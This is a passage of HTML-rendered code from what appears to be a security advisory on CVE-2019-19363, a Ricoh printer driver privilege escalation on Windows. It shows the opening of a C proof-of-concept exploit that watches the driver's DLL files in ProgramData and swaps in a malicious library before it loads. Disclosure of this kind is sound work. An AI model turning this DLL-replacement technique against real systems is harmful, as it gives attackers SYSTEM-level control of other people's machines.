&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-15"&gt;&lt;code data-line-number="15"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-15" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-15"&gt;&lt;/a&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-16"&gt;&lt;code data-line-number="16"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-16" name="rest_code_0a3a81c0e7ac42d3ab9ea7a8d21a3eaf-16"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section id="exploit"&gt;
&lt;h3&gt;3. Exploit&lt;/h3&gt;
&lt;div class="code"&gt;&lt;table class="codetable"&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-1"&gt;&lt;code data-line-number="  1"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-1" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-1"&gt;&lt;/a&gt;&lt;span class="cm"&gt;/*&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-2"&gt;&lt;code data-line-number="  2"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-2" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-2"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-3"&gt;&lt;code data-line-number="  3"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-3" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-3"&gt;&lt;/a&gt;&lt;span class="cm"&gt;This proof of concept code monitors file changes on Ricoh's driver DLL files and overwrites&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-4"&gt;&lt;code data-line-number="  4"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-4" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-4"&gt;&lt;/a&gt;&lt;span class="cm"&gt;a DLL file before the library is loaded (CVE-2019-19363).&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-5"&gt;&lt;code data-line-number="  5"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-5" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-5"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-6"&gt;&lt;code data-line-number="  6"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-6" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-6"&gt;&lt;/a&gt;&lt;span class="cm"&gt;Written by Pentagrid AG, 2019.&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-7"&gt;&lt;code data-line-number="  7"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-7" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-7"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-8"&gt;&lt;code data-line-number="  8"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-8" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-8"&gt;&lt;/a&gt;&lt;span class="cm"&gt;Cf. https://pentagrid.ch/en/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-9"&gt;&lt;code data-line-number="  9"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-9" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-9"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-10"&gt;&lt;code data-line-number=" 10"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-10" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-10"&gt;&lt;/a&gt;&lt;span class="cm"&gt;Credits: Alexander Pudwill&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-11"&gt;&lt;code data-line-number=" 11"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-11" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-11"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-12"&gt;&lt;code data-line-number=" 12"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-12" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-12"&gt;&lt;/a&gt;&lt;span class="cm"&gt;This proof of concept code is based on the ReadDirectoryChangesW API call to&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-13"&gt;&lt;code data-line-number=" 13"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-13" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-13"&gt;&lt;/a&gt;&lt;span class="cm"&gt;get notified about changes on files and directories and reuses parts from the example from&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-14"&gt;&lt;code data-line-number=" 14"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-14" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-14"&gt;&lt;/a&gt;&lt;span class="cm"&gt;https://www.experts-exchange.com/questions/22507220/ReadDirectoryChangesW-FWATCH-MSDN-sample-not-working.html&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-15"&gt;&lt;code data-line-number=" 15"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-15" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-15"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-16"&gt;&lt;code data-line-number=" 16"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-16" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-16"&gt;&lt;/a&gt;&lt;span class="cm"&gt;*/&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-17"&gt;&lt;code data-line-number=" 17"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-17" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-17"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-18"&gt;&lt;code data-line-number=" 18"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-18" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-18"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-19"&gt;&lt;code data-line-number=" 19"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-19" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-19"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;conio.h&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-20"&gt;&lt;code data-line-number=" 20"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-20" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-20"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-21"&gt;&lt;code data-line-number=" 21"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-21" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-21"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-22"&gt;&lt;code data-line-number=" 22"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-22" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-22"&gt;&lt;/a&gt;&lt;span class="cp"&gt;#define MAX_BUFFER  4096&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-23"&gt;&lt;code data-line-number=" 23"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-23" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-23"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-24"&gt;&lt;code data-line-number=" 24"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-24" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-24"&gt;&lt;/a&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;change_counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-25"&gt;&lt;code data-line-number=" 25"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-25" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-25"&gt;&lt;/a&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BaseDirName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;ProgramData"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-26"&gt;&lt;code data-line-number=" 26"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-26" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-26"&gt;&lt;/a&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetDLLRelFilePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaliciousLibraryFile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PrinterName&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-27"&gt;&lt;code data-line-number=" 27"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-27" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-27"&gt;&lt;/a&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dwNotifyFilter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FILE_NOTIFY_CHANGE_LAST_WRITE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-28"&gt;&lt;code data-line-number=" 28"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-28" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-28"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FILE_NOTIFY_CHANGE_SIZE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-29"&gt;&lt;code data-line-number=" 29"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-29" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-29"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FILE_NOTIFY_CHANGE_LAST_ACCESS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-30"&gt;&lt;code data-line-number=" 30"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-30" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-30"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FILE_NOTIFY_CHANGE_CREATION&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-31"&gt;&lt;code data-line-number=" 31"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-31" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-31"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-32"&gt;&lt;code data-line-number=" 32"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-32" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-32"&gt;&lt;/a&gt;&lt;span class="k"&gt;typedef&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;_DIRECTORY_INFO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-33"&gt;&lt;code data-line-number=" 33"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-33" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-33"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;hDir&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-34"&gt;&lt;code data-line-number=" 34"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-34" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-34"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;TCHAR&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;lpszDirName&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;MAX_PATH&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
